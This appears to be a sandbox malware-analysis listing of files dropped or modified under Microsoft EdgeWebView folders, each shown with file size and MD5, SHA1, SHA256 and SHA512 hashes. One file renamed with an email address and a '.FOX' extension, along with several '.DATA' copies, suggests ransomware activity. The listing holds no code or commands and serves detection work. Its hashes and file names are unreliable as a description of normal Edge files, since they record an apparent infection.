a0b63c2e3e4758f92f9be9f293df27b2

SHA1
fafae0f215f15ac88716cd9dd388cf0343a33f81

SHA256
997a80d929a94b0dd16fe7f8b8c869239e01c4c891bee66a6f14a97ebada2956

SHA512
77480b7492d639a0ad793bb875e33b68e20de7a7723fb7480e8b8da5d41e711dab700133a74b9e31bc10ea56c08ba3a8c35a8d469a55ecbbbb10ae4990e31d3f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\[[email protected] ].bJy2Qaap-qTrFfC5X.FOX

Filesize
1.1MB

MD5
edca0fc35ae6a7365c1c7a6b2b869e64

SHA1
a5b7aee8f048527ae23f946bc5c103c65faa4a57

SHA256
d3ebc000a81e2220c0f40897650aca55d8479805e03ed92315c74ec691dc69ac

SHA512
8996c6184e9ddc6873cd5b5d8ab8fa53b36dfa9244359f18b2dc4494c284421a45ce8ef3d0d34e025c1d26077118035dcf949983e33cb75bc5bce74b7687a803

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\am.pak

Filesize
1.4MB

MD5
32ad513c425b29ef17af5db9664bf239

SHA1
4bc1d67f6160f4c6e1a0dc6d21472ee6546e0438

SHA256
8967433f769891d5b678c22036df8f2a7ac6ae327a83f639be5b55aff4fa01f9

SHA512
f07c9860641e7235c4f0aad1b1869b20f77d871ad1a4e96e9567ec39b1e52569bb1d7a7785afc512a4b98c095d9537d37d53fa90455dadd4a80bd1ec2a030781

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\bg.pak

Filesize
1.7MB

MD5
e5ec2c16c7081979687e2b1f338a4d03

SHA1
2e4296b54def5c8202ca010f7e68b2189d1f934c

SHA256
241668044dd7f732bc73f1886696ca2c0b995b09e326d46a1a011a3e43822a7c

SHA512
fcca15c5d80d6bea95ace398e4d4eb8604ae97285aa39c1f438409ab86d7ef8bdfd1053a07aa0c1ab7d89bd2fdb78144ab19109e924d42912ddb628583e822f5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\bs.pak

Filesize
1.0MB

MD5
540a003fff5639834530083d17090c02

SHA1
40517dce2e3a91b0b524e7189c7cc9b313f72312

SHA256
e30fedfde7f6042c4709df3b497489065c93eeaef5f4718c02a858af5bc00bdf

SHA512
9397975a5e36be2f2a8cd97e391327ee1e4168cedc53ef34b14936377141c182accfd093c848883b33b58322c9e5a862ddbb1bedd0bfaadf4ad229edaf761134

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\ca.pak

Filesize
1.1MB

MD5
c2a0d293c9ee490eadc4b17174199330

SHA1
6327bb64bfbbbc3e3c4c17b472d0ca590cc1e8ec

SHA256
0fe38dd1c67cc213c684c03c436b1226a7d76dc203dbb937df587898b2e01c03

SHA512
e5523ac840c378e8ae3d8415408e6a57905b79529858ad1868ec1b76a915eab4282eb5d5ec02eea1a79a323607dabe49f89346bd415979dff2cce949c4214b64

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\cy.pak

Filesize
1.1MB

MD5
a09ecc799aa5265f2adf67b3239556dc

SHA1
3b177c1d48ea4f8553a2e59e71ecfcfde1c0813c

SHA256
22116cb2d7f98d702b1f400b155bf3cefab32f8456eb2a20a4f3a25a46c655f2

SHA512
9e236c9460f2ebe10fe95f0ef466d0219493c575fb95b2a1e8a55a19d41fd01dd65584edae4296264ca1413f726b97822b4d9f364de6d2e26a072470195609ac

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\en-GB.pak

Filesize
906KB

MD5
9f79faf0554282f085a75a3c9f577201

SHA1
4e835d2c34cbde7a7e19a3a34bd3fb918826d9b1

SHA256
ba57866a567142002fb712576b74b14a2ad8854ed368fe3a0ebdc3eefaf6998d

SHA512
ecd029726e836cb3239a57540baf54294ab6c6ddfe6e13e159bcfc6e5cb4629131a4f6095b314b0e29c0e4b1523fba5256146d65baff3a6d1ddf17a08b0ef07d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\es-419.pak

Filesize
1.1MB

MD5
894cba5f95ae75d22b99a83330c073a0

SHA1
806cb8610b2194da13121d444ba6f6b821501323

SHA256
1467a36d96a4904e65020dd2ec9dd84f3059cc5bfd117b2be16a3b2dcad85bd5

SHA512
c60351819302d01ccc2afa4d101eef12411c9e9ae8f4ed6cef3ceed31372060825997c1c666e948a9a12532c3bd85ce0d7e7111ac41de22715c683b8ad22bde8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\et.pak

Filesize
982KB

MD5
ef44f9b01bc4623ced91b9c0dd2753ff

SHA1
4db968969ae4df1d6297511794b280d8521c4a94

SHA256
2a263cbbf1f6b3c1e03e0759cb9487c415ae1aa44b99151b34db21de84b5c83e

SHA512
2fa7d61ff58b139a893b01a7efe72b6fe3fa34800bc3f546df2a8f20a652244b5a81bfabfea53535b4b9742f28face6de2788289c4eef83e27e5461ef711d7bc

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\fa.pak

Filesize
1.5MB

MD5
d7d9467a3e998dcfd933ec69074ddc19

SHA1
e421eb448cebb618c175d93a632d3b9e8376b859

SHA256
be02587ff81a43a4fce7209e307bfde7f64d85998b18312e3a904b8f79028359

SHA512
a1a41ac3934d04e5f06d0bf7ba3fe4da164d7fafcf9020c326e0526916d1c7329d5cc5987ffd230bf31f887cab1e483aa8666cebc72f09f50bd042df35b592b8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\fr.pak

Filesize
1.1MB

MD5
5eac6ac36b75f104a175d5f8b6adda7e

SHA1
174140dc4df8184d18501c22dcf328dd25058773

SHA256
a82d6ec569781b2c73314e256e77f37a6543f1e2b9baa6160c1f46e607c972a6

SHA512
a659e348243ace73c4aa16a0f7bec76c1c73c612f38754861ad8ae4c7eab7f88585842ee0fb4cc9c9a36ed59d8ff1107b8634dedfa8da1afa88e721ba035c4ba

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\gd.pak

Filesize
1.2MB

MD5
0c10673233007939c724cd2b44701c12

SHA1
da80f378d9fc1ff7d2cc7f9f0132f4869e859555

SHA256
b30b2b481c790bb927ce9e7f743c09476af2a4f019df2ac1e98931481cdab449

SHA512
14ba1857ae748f4e4a4b7939010416017f3f2597cea30d3aea0bd433ea3be3e4db83a614c8054cd31aad327426fd5fddaf941f916b265d6b0d43f824e9321078

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\gu.pak

Filesize
2.1MB

MD5
2c091a73b18f80eebc028bfaeb12926c

SHA1
221c4ea32a7034adbb073135a1f973c5d782dd86

SHA256
2b457366ec69123ff6c8b76c3a3243e0dc4e645d9054c275625189bf6e72d850

SHA512
231ff780cb614131398843de4b73df52bd00e38dee09b44847f8b531c15af40c0f0e111c39e81fe0ff76f615e3120f1cf796ccfc5f3e08a47b349f6d3e987893

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\hi.pak

Filesize
2.1MB

MD5
8a2c48db1482f91af5e4629196955ffa

SHA1
986940028dfc930feaa9aab8b500946727495d7f

SHA256
63d72ed9d26233fce7fd9af379ddf9dddce34e7e6c3c1baf218ba08468bf78da

SHA512
a70e6bc1249b1e95c875fe241b4e506dde6aaf32762a2774b8f1bd4454a440ccc4d389c9f391c446d154ded83c37484f5d4ab47465b367bcd262c4fadba05649

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\ja.pak

Filesize
1.2MB

MD5
43d72f972f36c46913f5d9ab00e30bd0

SHA1
6ebecdee02d181cd8bf7e23ba1c6a9304573c039

SHA256
b8c72a61ecbf7f7066208ac508d7857fe86c2b52a77ab58e36e6f4ff2dc3610d

SHA512
15d2418733a66ebb447330c782b8e74ba9baac9461a79ac10811a95c4608a2a3f76d7730759eb105e5a4ccb266d231e68c100f2c356491169a0417e2bf7b2339

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\kk.pak

Filesize
1.6MB

MD5
0dc9ba9e0a074af0486f7d418196a792

SHA1
5470cb3527f5e610fcb1358f9d1e710b7a9e663b

SHA256
d719d4f8a01779afd4e383cad029c120ae05a9b9abe85c2db956261b2b2a0414

SHA512
22222c955fcab5d13f9b045be054f951cedab4decb977fa796cec092d19bad6e9baf9745bb2174ef5bf7e96e5780544b541f5b082dbe90dfd6906d2e94d99b11

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\kn.pak

Filesize
2.3MB

MD5
f5f2c210feb43cdcf8ef7ecbb256b9ce

SHA1
f18a82091b0b319499af68a186e15976e97b4065

SHA256
638c61a5abe4a0b077d2456ad6494c1b5b8ded92a2e0675e49603a89c8236d88

SHA512
3fb57a7ea41d71504a93885b0415d0bc4a3b48140c1f01308de0d738d3ef9092c1468567a2e28ace1a315d6112bd19678eca29129ed50c0b58ca8439c837e225

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\lo.pak

Filesize
2.0MB

MD5
7ecbeeb9e4791a3850df285c87841860

SHA1
ec80d053df30d3749cd49c26b32eb5010880a313

SHA256
861009bf16c99ece0c40f3eefafbca03467df40ca13c0ff7830a37fdd9c6698e

SHA512
b3d002f157203e785a49700155bdb073e1b8664b48e7a2a913a3b608e5a0d81a5eb00b0a0b6b39abfb5babbe794325be53b7e25160070c934da127bf162c1631

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\lv.pak

Filesize
1.1MB

MD5
3cf5e2a7f3f49d4e5d40ee8b2f26d72f

SHA1
0b96db773af991c12bc3cbfc3acdb714f501091a

SHA256
08779a177173e5dbe7be14f4375349d0ce8bcefe0b030c6739660cb1b83be1ed

SHA512
ffcbda8d489a5d8832b7116ca868c45c4c557313771fa65efaeace2f14b3f0a0d6bc3ed130ea94ad8cdc406cbaefcac7b70f4fc4dbbf2f0570095dcea41f97b7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\mk.pak

Filesize
1.7MB

MD5
0659ff4fba8c4819f933a42a0fc29713

SHA1
f37a59569cd9af9c203a61518a717c172e22fd77

SHA256
b8dc2f39f6a19e90832af97e5753b33a122188ebd3e1324a91480afe407edd9b

SHA512
e0f73cb40a1d2ff37877a51022b25172e73898c560ae1e20867e6174e4a388001feaad5179ea1b94d7e6b9c7d5192898b8581d8ad0b77cf3297634729eb9b5c4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\mr.pak

Filesize
2.1MB

MD5
14b8489a96fe49c8e841f382539f77a8

SHA1
e3ce56c2353b291e5365429bad1d57c5c03adf59

SHA256
d2a6e09c5480cbc83be0813dbd4d7f46c06f5dc97a675541cd6a4f47e7b6ab0c

SHA512
365360f11e7f98614e6971d6118ede8711116f74ebb594c6f022b9c8023fae74add7f70df1886c806a0bf3a859194c4548c2febc09e43a2dea14d470438673d9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\nn.pak

Filesize
970KB

MD5
e2addce0d250d9c1d278ff04bcb1ed3f

SHA1
c436c72f7b0d8021c98d8a287291c91980fb22a2

SHA256
a9b45f5c5a5a86b85b50f907d693b301597f30c9b53ea0d708d607f5de64ace1

SHA512
b5f1cf0f2e4824c5a0a3e21058707551856acd3aecfa81eaa5e7e87594eb3663646bd5570825c1f71ccfe11b141da3e412c31c27ca51943f7d4a035b098c9369

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\pa.pak

Filesize
2.1MB

MD5
49f7bc89d2d37e6ec534475aa8a1591b

SHA1
2e8c5b9abd5dffcbb833307ee857baeab778c6e8

SHA256
104cfa3cb7319038e6951a117c1c4282b6f58141b1e391dc40a1553eddee5f0f

SHA512
a6e4a12be5f5ef6718fe384fb493694b25ec4ec26ee3fc4c83c6bbf3b4fc06ff30a395cd69aa1497315fe0cfabdcf7aa42ad35d85b45d3367a978df2f8c80417

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\pt-BR.pak

Filesize
1.0MB

MD5
0eaad7bcf13ce4365c18fcccf5fdfcdc

SHA1
7ba26900418d81bbafdff67288fa8b01dc62d0a8

SHA256
b06af7f0cf3db48cbad6c6e99eebe545d51f84ea591d684c9e5b2402e4dfc6e7

SHA512
9d001dbc0fd270324fbbe6a2c4b095887567b2b7c0c2188a579ad1224b2f8910bee6a5a13b0b7b21af82dda2895b64a3c03d062ac5504380ac4bb9292e41d56b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\ru.pak

Filesize
1.7MB

MD5
126a219df085e091477c742afc49a026

SHA1
5f4aebdde53a22af42319d2567df852a66637261

SHA256
f65c83f0d1f0511e194a00b8d37ede2e369444659ca22676913091beed767b09

SHA512
c04f6a324cec6469965fb77720e322eab73dbb89deffa8d26d10ed2878bde69562567662d5d01b252c4e048bfeb9fbc4b859272aea57efe09c912a7a68ad9dd7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\sl.pak

Filesize
1.0MB

MD5
60a2094911a60c18dcffde927efe6f72

SHA1
a6517b7f47e9c0fab1908fed25ab5d6cf31eb975

SHA256
aac296035883972b2634b7e73a00aae7bf73149e88f738ea557c8ead3f5528a5

SHA512
9b5f55005468dc84a726afe8926da1ba766f382f0694d5e8633e3c7064536b5228314fafaf0bb795894b813af44b64a82510b9b7d7e1337bb2d99dc6dfefc4f4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\sr-Cyrl-BA.pak

Filesize
1.6MB

MD5
727330f42426282ebe24a2949dd3c7cc

SHA1
edcb2aef097e1003d3456c654f787dfffdcfb628

SHA256
433b95d1f68821f305816941d2dc89e7aa619cda63a7ddedc90fc32546477c4e

SHA512
68eab64100a8a620531fc3132c6063266649fbf0b93c1878b9ab95553f08d3c713e5d53f2975013b425e0f9b17acd0495ea9c35479bf4282900ef84b4685a842

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\sr.pak

Filesize
1.6MB

MD5
2e2f21b81e76656edddc0d58fbb2bc08

SHA1
44567cda73a6b9366ed2306582836ae0f59393ee

SHA256
aa0f1e50c986042c9d3cd47756fc0e9179fec9931e765b7b15d066cb70479d87

SHA512
2d2dac8e171f4558e6fd9a16f0a979ce3d5efa4c32a3e8045de1f29860f7168bf1b7c7f99b844fc2790ccd44362e89d55dc41aa15226c91117937bbb4f7574fb

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\tt.pak

Filesize
1.6MB

MD5
a611db538fe58e09eb33a3b6200346ed

SHA1
9fa484fa08bd7843ff164d222ab5c067fcc401fa

SHA256
8a7b3825bcfa8110ea35159b802ca211e6d58d2a81da19ca71bd8266b785ef39

SHA512
33f9716cc287ef622870bfd3b460fc4035cc8296d3f2e8729bfba1d8912921e6133cf2e9be7e21aaf20c522699f76a418f6bc7840b8df09575e5974648009218

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\uk.pak

Filesize
1.7MB

MD5
d2e0a2912035b2fd186274cfa76629c3

SHA1
e96009df0e5738ba0196b7832a141840a98fc666

SHA256
620cbd4033303ba3443b1e8693098eba230cb285ec6de56e8272c1fc9831a0b7

SHA512
fe7ac5d831ac5e93849b2db9954b38ae793cae8ed97efa58f948a5ac39899761383a34a50db502744eebaea300124d33f3c83bc1b4ee76dbd3ed0e53c478b9d2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\MEIPreload\preloaded_data.pb

Filesize
9KB

MD5
d1356832516342688a320d85a3a0a174

SHA1
641e535a3fc7965326013cda23771da6ca320b86

SHA256
79db20ff9f134b303f10c379eab85579db3185a501abc0e1efba38d9b8d45ee5

SHA512
af63d3227ae21d0a9739638fe311c213caa013f3fdff5ea98d024952c31b3fd83d3c5346e1922c17e78af23536efe6dc39eab349ffdf2a3fe34cbe0171a08ea8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Notifications\SoftLandingAssetDark.gif

Filesize
160KB

MD5
ecc7362492f3a69e2e73ac4212cf3232

SHA1
87d1557d0c72075e64967333ac7f0f81dee8ff0d

SHA256
30b31bf94cd0f4171bb04c51cfd3bea3d4047b4d17ab3140d8222187c7661a23

SHA512
f5d31d6ec4e6921fb29edc998e54a5df77c91c836bec7684f46310b40844cddb7e8f3ffb6ed6c299c2a6d8008f8cfb50ab925c2c23a10b4e506aacc127220d45

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Edge.dat.DATA

Filesize
13KB

MD5
92dc8f7e1e76eae77ca8cb026ace9775

SHA1
30920f7fb15d16642f5f92595f435407de5502ee

SHA256
bb79cd1b57c11bc77243af9fc6b4c131f4380a6e02f1de10a2945362361ef6a4

SHA512
ef44dccf5d9b91828c7982ba6858b2f35dd6efe7973e2a48ef7f924a7ba4f09090fd9f637b21392055129171ae7ac736ab0e28dc7f75de133bbdcb6a8b98f802

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\EdgeWebView.dat.DATA

Filesize
9KB

MD5
ebba1549001b28622c0cca7ea9355b72

SHA1
6fe129accbd7c33386cc1178f52cb7ec79c94fac

SHA256
6f0d8b4d026e29439f9aa09fd997f232ed009d13ef584befe11fdd0d1b3c2c8f

SHA512
b22253ce687ba4181a3517e6493a7884cc02ea891f499e55ac9be770c3d581b358260a68d22dfb2694597cbaff4ba50470296615176706a6874c267456922b6a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\af.pak.DATA

Filesize
995KB

MD5
7412bb9e5c602e4f3cc146b7476f84c4

SHA1
97575e7594e0f3ff8c50d66de43596c5a1767a6f

SHA256
476d433ff076c050df84649793cfac855a6f66fe8c793cdf4fdc78c066d694b2

SHA512
f2b21f9f9a197c4d1adeaf120f0f1d711603d28069187d4a8c6753df352fa7e8b3759a98c41052f500f9fdcadb0858c3f64e895b3e30b69bf6466071b03932e8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ar.pak.DATA

Filesize
1.5MB

MD5
7bfccb62ef13e0466e1423daddd9a595

SHA1
93fc22e3a331fd971fa4997914c0ef7a6209da36

SHA256
5bb36a7b0f7f50f6a7bfbddd6dd319a772d0a61e8e1dec99f2d70afe8babc4dd

SHA512
f94cf622f6e0f8e1c15aeed81f6d8c18bc8255755ef8a06a0f4554a313358d9f1335b167848fd5838401deaa4990f06c495e07ed3c6628c415f20187896a730d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\as.pak.DATA

Filesize
2.1MB

MD5
f9aac48b28e1b7565890d0ca9ccf381c

SHA1
89455fac5d30fe3cf7764b5cbfac662840fa19f0

SHA256
7dcaeca45873ec95cb32afa517e3664f50a69501e03f872fcb731c5e403fe8ca

SHA512
9e460fe4432a433868cea46b36115d7a95c4aa581e92a02ec78b001ba01da0121ca10d2efc84e08e08ed1513765d1a2459ede4c6ba6ebe5787fa5fcf6e43c6bd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ca-Es-VALENCIA.pak.DATA

Filesize
1.1MB

MD5
71471888bd78a5d65d12ea32ef41f070

SHA1
26bd576f49d94e3d1ed957b47a03127b7911a740

SHA256
5378d86d3740f206bbbba0b446cf4d53c0000ed61f64df05ba55419bde087126

SHA512
2d7055875533c80bbae926e80506b25240b84085e59ffdbd5f0a47f35f0e4832123b9222db327a5c48a985ba6f091f75455894274e1cca6cf6e2203e6568b4f5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\cs.pak.DATA

Filesize
1.1MB

MD5
fbedc4b0940531f0ea64e055af39be42

SHA1
5376fa36533ed12f81f49c5b9f3972232833a3e2

SHA256
67ba369cc7e33b141dce19698dba62274f5cfb4c12f3c6cdbe7da41709f2c7ee

SHA512
ab4cf358fc83aca82565f6951ffbb0c49dcfa391c4a9faa1c814888b4700ceeb72ba88f5e9bceefcd806616f75a3a177d8d11ebcd9d76fbb28ac0bb7cb082ceb

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\da.pak.DATA

Filesize
992KB

MD5
ffd14ee6f006842222f1d0e60a9980a9

SHA1
4036a192ff2d916d324ca487f6b91bfec34fb8bc

SHA256
24acaf2621141d2f1468fbee1c318685597bc7f592771b03fd184e551fa851ca

SHA512
305551e8e3f045427fedbeb255c37f8ee95280ce0135f5fae78cc48b578f7f8c261b0f67811ed0913f9309a0e0b45d36ac7aec23117cf584de7fd29c99ce55d2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\de.pak.DATA

Filesize
1.1MB

MD5
2fefe7622d0219f58f48f6b64ff8e501

SHA1
288b0f622f2ccc5cfb1fdbc133823d456a79f4a6

SHA256
4ef7f9ca4208b8c6ce15c4447e08238b753abfa85cedf198d09fe40b294b9221

SHA512
aa86e504f4d2093f1135792f1c411ec77d0c0dd69bce74d4320f6cc3a94b802610b6bbc071c92aa5b025259c04ef56a06435dec52640b8e3b58ad5918664c679

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\es.pak.DATA

Filesize
1.1MB

MD5
1b2d886fad14b15d1d16ba192d818ac5

SHA1
e31e273bc705735f79f9dd232253ad0c5070a646

SHA256
e67f74de6000277b763ec1893d550b2fb5ead1efdf662fda24c63f89dd33403b

SHA512
b4083ac792e161fe167b59987bbffaea1f4382c06fe0fc561a1725123f2dce122a969a6372906cab9d74bd6aff8f0b764ca122b2d4aa2ac9c7cb74270272328e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\eu.pak.DATA

Filesize
1021KB

MD5
84b61e556b8f64f8f89963757339098f

SHA1
85ac0717935e1c262fd4aa9a0016374f5eef4769

SHA256
978fdd41684bae17938205e74920146a7cf4aa8cee177404558bc8d2c06089ab

SHA512
7d1e4026ab5f125b27d78407947e3b5ab60a484858c761afa4908b4f1877e8adb591f4f167570cd326046a1106801fa7c34d8c53686244ac7e818573909d9171

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\fi.pak.DATA

Filesize
1.0MB

MD5
3f4307db4487c5166b0caa97bdc00530

SHA1
e4d17951a76b643e370bcc984e2c3b35c1c7bf8a

SHA256
5b3ca73e2b7f4683577db5d66a74144ce8240be18bae7064deb213d6392561d4

SHA512
a631f2d3465432cebe1527788051f7b1ddf640325cc67c4974e3842fa13e567f2e4e61d125d2d295d8cb2f5975457cc622ddfe1258e08a15901b7a0098ffdfdd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\fil.pak.DATA

Filesize
1.1MB

MD5
0576d969c44ff42c1310e868e0f5f19c

SHA1
b19dd8fc35e1c5e4df2640397f292d54634a4f45

SHA256
c9774b09cf73eb39ff80e64e2721d159df5be974612508c5b9c053aef8021157

SHA512
0d7df92e6ddf3ded88c9238f8197fdb841a643c8343270d7ccc738ecdc3891b78785abc404dfcf9da3cd7af9c29a19d43317d3390a195b3cdb62a7f61370e2d9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\gl.pak.DATA

Filesize
1.0MB

MD5
7ba2a5c941c2169d60573a9fbf62fb9e

SHA1
2383a6fc9d283eb217c05325e108a12de01f559c

SHA256
7bc2ff6583e4ba7ceb96a4c0c92a104289fe08536f9b92afb5b3ca75e0300783

SHA512
ae2801664ae1668d11364b79db40f9bcc29c239e9a338bf61b8ac8e651030c7115293924508a03a94a6e0f88467d49643dad90e39e1f6da1e86834dff3eb8a08

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\hr.pak.DATA

Filesize
1.0MB

MD5
e46151a2c2f2dddb0aa546b224db5161

SHA1
27eb6ffaa40a8e45d3755141e677e07eff91b880

SHA256
47414aabf7f7830b6dba88f8b1b6bbbe4a74802ea5723bd0f06583c9c155aa89

SHA512
4a02e7f7aab6ac2b274434982a1d5457e381886bc167d8e87312e17cb79070d39e82c9fc39c95aec107e91494802f8839f014fd091c857b9526c13b8d9ee10c5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\hu.pak.DATA

Filesize
1.1MB

MD5
cc316c287d4a9debf62e00f99e83d6bd

SHA1
a52fb0066f9c43f527af213e9d95249b33b66fbb

SHA256
ce53b471cc5f072149ccc7e108c969b5652021739e7f6924c6c9148c11e80366

SHA512
954fa5d2edbece2a6a482a5081617412c2608e66baf6c2a5c49bf86111e3c439b50c546c2a430077c7efb86b0effff9df4dea249a788a2822a8242b71db37628

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ka.pak.DATA

Filesize
2.3MB

MD5
aaa565f6932c6add8a20bdbad21b0532

SHA1
00ca34c216f29e25f5292580f8656965c13f2bbf

SHA256
00bb4ba00d97c9c721069a40c714111f0a330d80ad0cc3b4bd6eee8235ada9b3

SHA512
bce63a59862c51bbc352631995c2f3af5b08ec3648e3bd28ecfa53bddf40068dbae7147f1ad80295b03288910a5a4e11e49d4c96b1a8f004c36126e1aa1aaec9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\mi.pak.DATA

Filesize
1.0MB

MD5
680cc9398554aec2065baa1b1b2c62ad

SHA1
c6cdd04c3485c4c31e8cf27ed498f589d7b7bc76

SHA256
1863de29079c34884724dc10acdf9f1f4cc3320e888a6e657c49cc28cde6f529

SHA512
a9c5500cd2d0960a0fa4902eb5c26695fee7e787853af8e0596a293b3c28a74441b019a52433860bce38b0d5ce9b5b4c63ef027ff1b17cbd61f4254f18602f03

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ml.pak.DATA

Filesize
2.5MB

MD5
a410440cdccbb2e4fdb05e888ebbe383

SHA1
eef804564aea245b162a6a0c0d960599422a76a5

SHA256
20602670b1d63b77c58ed79472b19a8d9feb93fd39f1be3e9dccc03d03526109

SHA512
e0351f647d34160548c381880ff24f127841ccb3cd19a489e99f1bc9ad2e55ac25d43c7af9ddf75e16c4fe4e8442eb90e25cc161a84792281a01d74d33fa482f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\or.pak.DATA

Filesize
2.3MB

MD5
f88ad7b8ac99a66b45c528d3900b38aa

SHA1
ecc5581f65b8ddcc8a16f36cbb05fea949c9ae7c

SHA256
28244165a93933d71c8978b6da1002dbb78bf74fa30b94a0dbf1b5f7dcd6c8e5

SHA512
646947f13a6c44253b6fe41c24210029bbc9508c0325c6a54ac102055eb0e22e9afd27e965b3cc9ecd5b3518b47d57baf8da135d61a96812aaef60ed66aea879

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\sq.pak.DATA

Filesize
1.1MB

MD5
8a39cc280ff1531d82ef86f3b90f1f0a

SHA1
b9258e74df4856542a74d7307cf3aa7bebe2367c

SHA256
db2b06f2bb7aa2a8dd4352aaf44e384387a095bb987efb4c88a24709d9cf4b30

SHA512
ab626ad74dfe0f40d4b781e08be2264abbb299b6c2f73c373cb2fd94a09b0171b3b4a9bb5156fb6af9385321550b26f9d8531e44dffa48090c369f7b5583a9e9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\sv.pak.DATA

Filesize
993KB

MD5
42b433fba3d115dc4380a6657e23a5cb

SHA1
4cb152ea618dc3a1e98fcc5dd02da9e1c5ff8cb4

SHA256
38a33120d2c8b91791c3942897f54575cd8386b37edd529860bfe9919a722bfd

SHA512
a0f1d51557eff39cf21ab881ce3e325cf52dfccb4b7429baf50eb31984d7e6b90db9f39389592bdf6b79120760b2b264fc82d6ec05dd092f1b58502a4d8218dd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\ug.pak.DATA

Filesize
1.6MB

MD5
fa849a0e08dbf322d29d84e4f74be824

SHA1
e783aa0e372a71ef4cfe1ff0c5a25fb06363a7db

SHA256
220dbab763b8dfc3f769d73777038e48edce1ae5def2ce4ecb2d4b16daef8dad

SHA512
3757c77b59cd2b1d6f46b9e6f80a2f44e80080355506e5f230ae70174ce90babcbd17e56da22c43c28c0bfdf3a73f0693abc6a01651e7f94e977a30b7093d60b

Download Submit
